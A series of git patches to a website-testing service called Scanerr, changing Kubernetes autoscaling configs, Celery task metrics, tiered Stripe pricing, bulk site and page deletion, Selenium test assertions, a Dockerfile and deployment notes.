   pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "0"
+        targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 417f58ae..90f8eb5a 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,12 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 4000
+      terminationGracePeriodSeconds: 30
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:49709ea # 
+          image:  <IMAGE> # scanerr/server:20d9159 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 1c4071f4..a4bb4154 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -5,7 +5,7 @@ metadata:
 spec:
   scaleTargetRef:
     name: ylt-deployment
-  cooldownPeriod:  4000
+  cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 37277f4e..f41212e1 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: ylt-deployment
     spec:
-      terminationGracePeriodSeconds: 4000
+      terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
         image: scanerr/ylt
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e2f6ac7f..b5c1ed85 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -162,6 +162,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart celery, beat, &b app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
+ - Check status of deployment rollout
+   - `kubectl rollout status deployment/app-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
  - Force delete pods that are stuck in `Terminating`:

From 6a1ebd1c53eb22bfbfc84fea03c05a3191de1568 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 16:05:24 -0600
Subject: [PATCH 0661/1099] adding working_len

---
 app/api/v1/ops/services.py | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 767254db..f0bc5ff1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5436,6 +5436,7 @@ def get_celery_metrics(request: object) -> object:
     num_tasks = 0
     num_replicas = 0
     ratio = 0
+    working_len = 0
 
     # loop through all reserved & active tasks and
     # add length of array (tasks) to total
@@ -5449,12 +5450,16 @@ def get_celery_metrics(request: object) -> object:
     if num_replicas > 0:
         ratio = num_tasks / num_replicas
 
+    # get working length 
+    working_len = redis_queue_len + num_tasks
+
     # format data
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
         "ratio": ratio,
-        "redis_queue": redis_queue_len
+        "redis_queue": redis_queue_len,
+        "working_len": working_len
     }
 
     # return response

From 5cf81427330ab5de74e6bf8a957d819da56375d0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 16:07:19 -0600
Subject: [PATCH 0662/1099] testing task count

---
 app/api/v1/ops/services.py | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f0bc5ff1..2707528e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5420,17 +5420,13 @@ def get_celery_metrics(request: object) -> object:
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
+    
     # Tasks received, but are still waiting to be executed.
     reserved = i.reserved()
-    # Active tasks
+    #
+    #  Active tasks
     active = i.active()
 
-    print('\n\n-reserved-\n\n')
-    print(reserved)
-
-    print('\n\n-active-\n\n')
-    print(active)
-
     # init task & replica counters
     # & ratio 
     num_tasks = 0

From 296d2c2a94e279f544dafb1ced3f9ac313b3e5ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 10:21:22 -0600
Subject: [PATCH 0663/1099] updated pricing calc

---
 app/api/tasks.py                | 28 ++++++++++++++++++----------
 app/api/v1/billing/services.py  | 26 ++++++++++++++++++--------
 k8s/prod/celery-autoscaler.yaml |  2 +-
 k8s/prod/ylt-autoscaler.yaml    |  2 +-
 4 files changed, 38 insertions(+), 20 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index c4da83c8..9a412ce7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1217,22 +1217,30 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
         max_sites = account.max_sites
 
     # get account coupon
-    discount = 1
+    discount = 0
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
-        if discount != 1:
-            discount = 1-discount
 
     # calculate 
-    price_amount = (
-        (
-            (-0.0003 * (max_sites ** 2)) + 
-            (1.5142 * max_sites) + 325.2
-        ) * 100
-    )
+    if max_sites <= 5:
+        price = 8900
+    elif max_sites > 5 and max_sites <= 10:
+        price = 17900
+    elif max_sites > 10 and max_sites <= 25:
+        price = 34900
+    elif max_sites > 25:
+        price = (
+            ( 
+                (-0.0003 * (max_sites ** 2)) + 
+                (1.5142 * max_sites) + 325.2
+            ) * 100
+        )
 
     # apply discount
-    price = round(price - (price * discount))
+    price = price - (price * discount)
+
+    # update for interval 
+    price_amount = round(price if account.interval == 'month' else (price * 10))
 
     # create new Stripe Price 
     price = stripe.Price.create(
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index e1973a43..cdeb80f6 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -282,21 +282,31 @@ def calc_price(account: object=None) -> int:
     max_sites = account.max_sites
 
     # get account coupon
-    discount = 1
+    discount = 0
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
-    
+
     # calculate 
-    price = (
-        (
-            (-0.0003 * (max_sites ** 2)) + 
-            (1.5142 * max_sites) + 325.2
-        ) * 100
-    )
+    if max_sites <= 5:
+        price = 8900
+    elif max_sites > 5 and max_sites <= 10:
+        price = 17900
+    elif max_sites > 10 and max_sites <= 25:
+        price = 34900
+    elif max_sites > 25:
+        price = (
+            ( 
+                (-0.0003 * (max_sites ** 2)) + 
+                (1.5142 * max_sites) + 325.2
+            ) * 100
+        )
 
     # apply discount
     price = price - (price * discount)
 
+    # update for interval 
+    price = round(price if account.interval == 'month' else (price * 10))
+
     # return price
     return int(price)
 
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 4c02a557..594e6768 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -14,4 +14,4 @@ spec:
       metadata:
         targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "num_tasks"
\ No newline at end of file
+        valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index a4bb4154..9eba03e6 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -14,4 +14,4 @@ spec:
       metadata:
         targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "num_tasks"
\ No newline at end of file
+        valueLocation: "working_len"
\ No newline at end of file

From b821f147fd2076fdb5968cc602ebbe98680cf8cd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 14:07:07 -0600
Subject: [PATCH 0664/1099] fixed bulk delete issues

---
 app/api/utils/issuer.py    |  2 +-
 app/api/v1/ops/services.py | 34 ++++++++++++++++++----------------
 2 files changed, 19 insertions(+), 17 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index f88afc6d..5236b184 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -144,7 +144,7 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
+                f'[Test]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2707528e..a15f1d83 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -741,8 +741,12 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     # remove any associated tasks 
     delete_tasks(site=site)
 
-    # remove any associated Issues
-    issues = Issue.objects.filter(affected__icontains=id).delete()
+    # remove any site associated Issues
+    Issue.objects.filter(affected__icontains=str(id)).delete()
+
+    # remove any page associated Issues
+    for page in Page.objects.filter(site=site):
+        Issue.objects.filter(affected__icontains=str(page.id)).delete()
     
     # remove site
     site.delete()
@@ -807,15 +811,14 @@ def delete_many_sites(request: object) -> object:
                 if site.account == account:
 
                     # delete site and associated resources
-                    delete_site_s3_bg.delay(site_id=id)
-                    delete_tasks(site=site)
-                    Issue.objects.filter(affected__icontains=id).delete()
+                    delete_site(id=id, account=site.account)
 
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
 
             except:
+                print(e)
                 # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
@@ -1264,6 +1267,7 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     check_data = check_account_and_resource(user=user, page_id=id, resource='page')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
+        print(data)
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -1279,12 +1283,8 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     delete_tasks(page=page)
 
     # remove any associated Issues
-    issues = Issue.objects.filter(
-        affected__icontains=id
-    )
-    for issue in issues:
-        issue.delete()
-    
+    Issue.objects.filter(affected__icontains=str(id)).delete()
+
     # remove page
     page.delete()
 
@@ -1333,18 +1333,20 @@ def delete_many_pages(request: object) -> object:
         # loop through passed ids
         for id in ids:
 
-            # trying to delete site
+            # trying to delete page
             try:
                 page = Page.objects.get(id=id)
                 if page.account == account:
-                    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
-                    delete_tasks(page=page)
-                    page.delete()
+
+                    # delete page and all assocaited resourses
+                    delete_page(id=id, account=page.account)
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
-            except:
+            except Exception as e:
                 # add to failed attempts
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False

From f0b4ea55c28b5699ed30b923773f7ebcf5754f70 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 14:14:00 -0600
Subject: [PATCH 0665/1099] added data check to bulk delete for sites & pages

---
 app/api/v1/ops/services.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a15f1d83..92126b2a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -811,7 +811,9 @@ def delete_many_sites(request: object) -> object:
                 if site.account == account:
 
                     # delete site and associated resources
-                    delete_site(id=id, account=site.account)
+                    data = delete_site(id=id, account=site.account)
+                    if data.get('reason'):
+                        raise Exception
 
                 # add to success attempts
                 num_succeeded += 1
@@ -1339,7 +1341,9 @@ def delete_many_pages(request: object) -> object:
                 if page.account == account:
 
                     # delete page and all assocaited resourses
-                    delete_page(id=id, account=page.account)
+                    data = delete_page(id=id, account=page.account)
+                    if data.get('reason'):
+                        raise Exception
 
                 # add to success attempts
                 num_succeeded += 1

From 561e31b42a92e609d7b66c22cfda644fdc0a0fb5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 15:09:29 -0600
Subject: [PATCH 0666/1099] fixed bugs with caser.py and issuer.py

---
 app/api/utils/caser.py  | 14 +++++++++-----
 app/api/utils/issuer.py | 14 ++++++++++----
 2 files changed, 19 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 59508d53..bf4d6a7c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -398,14 +398,14 @@ def run(self) -> None:
                 exception = None
                 passed = True
                 self.update_testcase(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     start_time=datetime.now()
                 )
 
                 try:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element(step["action"]["element"])
+                    selector = self.format_element(step["assertion"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -415,13 +415,17 @@ def run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
-                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").innerText')
+                    elementText = element.text if len(elementText) == 0 else elementText
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
 
                     # assert text
-                    assert elementText == step["assertion"]["value"]
+                    if elementText != step["assertion"]["value"]:
+                        raise AssertionError(f'innerText of element "{selector}" does match "{step['assertion']['value']}"')
+                    
+                    # save screenshot
                     image = self.save_screenshot()
 
                 except Exception as e:
@@ -430,7 +434,7 @@ def run(self) -> None:
                     passed = False
 
                 self.update_testcase(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
                     exception=exception,
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 5236b184..28b1497b 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -80,10 +80,16 @@ def build_issue(self):
             # get first step that failed in testcase
             failed_step = None
             step_index = 0
+            step_type = 'action'
             for step in self.testcase.steps:
                 step_index += 1
-                if not step['action']['passed']:
+                if step['action']['passed'] == False:
                     failed_step = step
+                    step_type = 'action'
+                    break
+                if step['assertion']['passed'] == False:
+                    failed_step = step
+                    step_type = 'assertion'
                     break
 
             # build title
@@ -92,15 +98,15 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
+                f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
                 f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```shell\n{failed_step["action"]["exception"]}\n``` \n\n' +
-                f' [View Image]({failed_step["action"]["image"]})\n\n'
+                f' ```shell\n{failed_step[step_type]["exception"]}\n``` \n\n' +
+                f' [View Image]({failed_step[step_type]["image"]})\n\n'
             )
 
             # build recommendation

From 488178e7bc371b1446fa87192ffdd715d1e593a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 Aug 2024 13:18:09 -0600
Subject: [PATCH 0667/1099] testing build

---
 Dockerfile | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e83cf789..f20fc699 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,6 +3,8 @@ FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
+LABEL Author="Scanerr" Support="hello@scanerr.io"
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -15,9 +17,9 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig firefox-esr apt-transport-https software-properties-common
 
 # installing google-chrome-stable
-RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
-RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
-RUN rm google-chrome-stable_current_amd64.deb
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+    apt-get install -y ./google-chrome-stable_current_amd64.deb && \
+    rm google-chrome-stable_current_amd64.deb
 
 # installing microsoft-edge-stable
 RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \

From 994f93ece7d8d6601d5959718a4e3fe7c2b47058 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 12:48:19 -0600
Subject: [PATCH 0668/1099] updated logs score for test.component_scores

---
 app/api/utils/tester.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 9368cc13..92b708b7 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -806,10 +806,14 @@ def run_test(self, index: int=None) -> object:
                 logs_score_w = .5
                 num_logs_w = 2
 
+                # combined score
+                combined_logs_score = ((logs_score*logs_score_w) + (num_logs_ratio*num_logs_w))/2.5
+
                 # data
                 logs_delta_context = {
                     "pre_logs_delta": delta_logs_data['delta_logs_pre'],
                     "post_logs_delta": delta_logs_data['delta_logs_post'],
+                    "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
                 logs_score_w = 0
@@ -916,7 +920,7 @@ def run_test(self, index: int=None) -> object:
         self.test.score = score
         self.test.status = 'passed' if score >= self.test.threshold else 'failed'
         self.test.component_scores['html'] = (micro_diff_score * 100) if micro_diff_w != 0 else None
-        self.test.component_scores['logs'] = (num_logs_ratio * 100) if num_logs_w != 0 else None
+        self.test.component_scores['logs'] = (logs_delta_context['combined_logs_score'] * 100) if num_logs_w != 0 else None
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100) if delta_lh_w != 0 else None
         self.test.component_scores['yellowlab'] = (yellowlab_score * 100) if delta_yl_w != 0 else None
         self.test.component_scores['vrt'] = (images_score * 100) if images_w != 0 else None

From 139d9d7f8f83d8fea5a4d526f50cbed02be0ec50 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 13:59:56 -0600
Subject: [PATCH 0669/1099] fixing a few configs issues

---
 app/api/utils/autocaser.py | 5 +++--
 app/api/utils/driver.py    | 4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 0d7e9588..db50515b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -743,8 +743,9 @@ def get_elements(self) -> list:
             # ensuring link is local to site
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
-                if link_text.startswith(self.get_url_root(start_page)):
-                    self.final_start_elements.append(selector)
+                if link_text is not None:
+                    if link_text.startswith(self.get_url_root(start_page)):
+                        self.final_start_elements.append(selector)
                     
             # adding if button
             if choosen.tag_name == 'button':
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 505cd383..3ee5b770 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -217,7 +217,7 @@ def interact_with_page(driver):
     wait_time = 0
 
     # min_wait_time before checking page status
-    time.sleep(min_wait_time)
+    time.sleep(int(min_wait_time))
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
 
@@ -225,7 +225,7 @@ def interact_with_page(driver):
         pre_check_time = datetime.now()
         
         # wait 1 sec or <interval:int> sec 
-        time.sleep(interval)
+        time.sleep(int(interval))
 
         try:
             page_state = driver.execute_script('return document.readyState')

From ee8fe25cccc7c3dff333bcc6ec2f79cbf0d83ccb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 14:41:26 -0600
Subject: [PATCH 0670/1099] fixing small bugs

---
 app/api/utils/autocaser.py | 33 ++++++++++++++++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index db50515b..8f82e71a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -83,6 +83,26 @@ def __init__(
             """
         )
 
+        # setting xpath script
+        self.xpath_script = (
+            """ 
+            const getXPath = (elm) => {
+                const idx = (sib, name) => sib 
+                    ? idx(sib.previousElementSibling, name||sib.localName) + (sib.localName == name)
+                    : 1;
+                const segs = elm => !elm || elm.nodeType !== 1 
+                    ? ['']
+                    : elm.id && document.getElementById(elm.id) === elm
+                        ? [`id("${elm.id}")`]
+                        : [...segs(elm.parentNode), `${elm.localName.toLowerCase()}[${idx(elm)}]`];
+                return segs(elm).join('/');
+            }
+
+            return getXPath(arguments[0])
+
+            """
+        )
+
         # setting selector script
         self.visible_script = (
             """
@@ -229,7 +249,7 @@ def get_priority_elements(self, elements: list) -> dict:
             'add to basket', 'add to shopping basket', 'add to shopping cart', 
             'add to the cart', 'billing', 'address', 'payment', 'purchase now',
             'order now', 'order', 'shop now', 'continue to payment', 'contact', 
-            'apply', 'submit', 
+            'apply', 'submit', 'contact sales', 'contact us'
         ]
 
         priority_elements = []
@@ -359,6 +379,10 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             if elem.tag_name == 'a':
                 # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
+                # check it elem_link is blank
+                if elem_link is None:
+                    print('elem_link not present')
+                    continue
                 if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/':
                     print('elem reloads page')
                     continue
@@ -743,6 +767,13 @@ def get_elements(self) -> list:
             # ensuring link is local to site
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
+                
+                # check it elem_link is blank
+                if link_text is None:
+                    print('link_text not present')
+                    iterations += 1
+                    continue
+
                 if link_text is not None:
                     if link_text.startswith(self.get_url_root(start_page)):
                         self.final_start_elements.append(selector)

From fa3e386346022b27545c3944a0019a652b7d6049 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 26 Aug 2024 12:15:04 -0600
Subject: [PATCH 0671/1099] fixing account reset issue

---
 app/api/tasks.py | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 9a412ce7..64dd83b6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1128,6 +1128,9 @@ def reset_account_usage(account_id: str=None) -> None:
     today_str = today.strftime('%Y-%m-%d')
     print(f'today -> {today_str}')
 
+    # setting format for today
+    f = '%Y-%m-%d %H:%M:%S.%f'
+
     # reset account.ussage
     def reset_usage(account):
         account.usage['scans'] = 0
@@ -1162,14 +1165,13 @@ def reset_usage(account):
         if account.type == 'free':
 
             # get last usage reset date from meta
-            last_usage_date_str = account.meta.get('last_usage_reset')
+            last_usage_date_str = account.meta.get('last_usage_reset') if account.meta else None
             if last_usage_date_str is not None:
                 
                 # clean date_str
                 last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
 
                 # format date str as datetime obj
-                f = '%Y-%m-%d %H:%M:%S.%f'
                 last_usage_date = datetime.strptime(last_usage_date_str, f)
 
                 print(f'days since last reset -> {abs((today - last_usage_date).days)}')
@@ -1178,9 +1180,9 @@ def reset_usage(account):
                 if abs((today - last_usage_date).days) >= 30:
                     reset_usage(account)
 
-                # udpate account.meta.last_usage_reset
-                account.meta['last_usage_reset'] = today.strftime(f)
-                account.save()
+            # udpate account.meta.last_usage_reset
+            account.meta['last_usage_reset'] = today.strftime(f)
+            account.save()
     
     return None
 

From 44082dd19f7c311c6548f107e1deca42e6d9f80a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 26 Aug 2024 15:36:00 -0600
Subject: [PATCH 0672/1099] adding admin privelages to resoruces

---
 app/api/v1/ops/services.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 92126b2a..c5545988 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -145,6 +145,16 @@ def check_account_and_resource(
         }
         return data
 
+    # checking if user is 'admin'
+    if user.username == 'admin':
+        data = {
+            'allowed': allowed,
+            'error': error, 
+            'status': _status,
+            'code': code
+        }
+        return data
+
     # checking resource limit
     if resource is not None:
         

From cb200714cdcb5c580e4122c4fc0f807f43f4bc5c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 12:31:28 -0600
Subject: [PATCH 0673/1099] fixing task bug

---
 app/api/tasks.py | 37 ++++++++++++++++++++++---------------
 1 file changed, 22 insertions(+), 15 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 64dd83b6..684ebec0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -532,21 +532,6 @@ def create_test(
     Returns -> None
     """
 
-    # get or create a Test
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-            threshold=float(threshold),
-            status='working'
-        )
-
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -554,7 +539,14 @@ def create_test(
         post_scan = Scan.objects.get(id=post_scan)
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
+            # check for pre_scan existance 
+            if not Scan.objects.filter(page=page).exists():
+                logger.info('no pre_scan available to create Test with')
+                return None
+            # get pre_scan if exists
             pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+        
+        # create new post_scan
         post_scan = Scan.objects.create(
             site=page.site,
             page=page,
@@ -568,6 +560,21 @@ def create_test(
             automation_id=automation_id,
             configs=configs,
         )
+
+    # get or create a Test
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+            threshold=float(threshold),
+            status='working'
+        )
         
     # updating parired scans
     pre_scan.paired_scan = post_scan

From ef6c04a31cfada7984a62cb57a7b196f1d562b70 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 12:39:06 -0600
Subject: [PATCH 0674/1099] updating notes

---
 notes/Kubernetes.md | 67 +++++++++++++++++++++++++++++----------------
 1 file changed, 44 insertions(+), 23 deletions(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index b5c1ed85..7cc33100 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -98,69 +98,90 @@ kubectl port-forward service/app-service 8000:8000
 > Ensure you are in the `/server` root directory 
 
 ### 1. Create docker secrets  
-- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
+``` shell
+kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'
+```
 
 
 ### 1. Build Dockerfile into image
-- `docker build . -t scanerr/server:latest`
-- `docker image push scanerr/server:latest`
+``` shell
+docker build . -t scanerr/server:latest
+docker image push scanerr/server:latest
+```
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f ./k8s/prod/app-loadbalancer.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-loadbalancer.yaml
+```
 - Then add and `A` record for domain that points to new loadbalancer
   - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
 
 ### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
+``` shell
+service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+```
 
 
 ### 4. Spin up Scanerr deployments and services
-- `kubectl apply -f ./k8s/prod/app-configs.yaml`
-- `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/rabbitmq-deployment.yaml`
-- `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f ./k8s/prod/app-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
-- `kubectl apply -f ./k8s/prod/beat-deployment.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-configs.yaml
+kubectl apply -f ./k8s/prod/redis-deployment.yaml
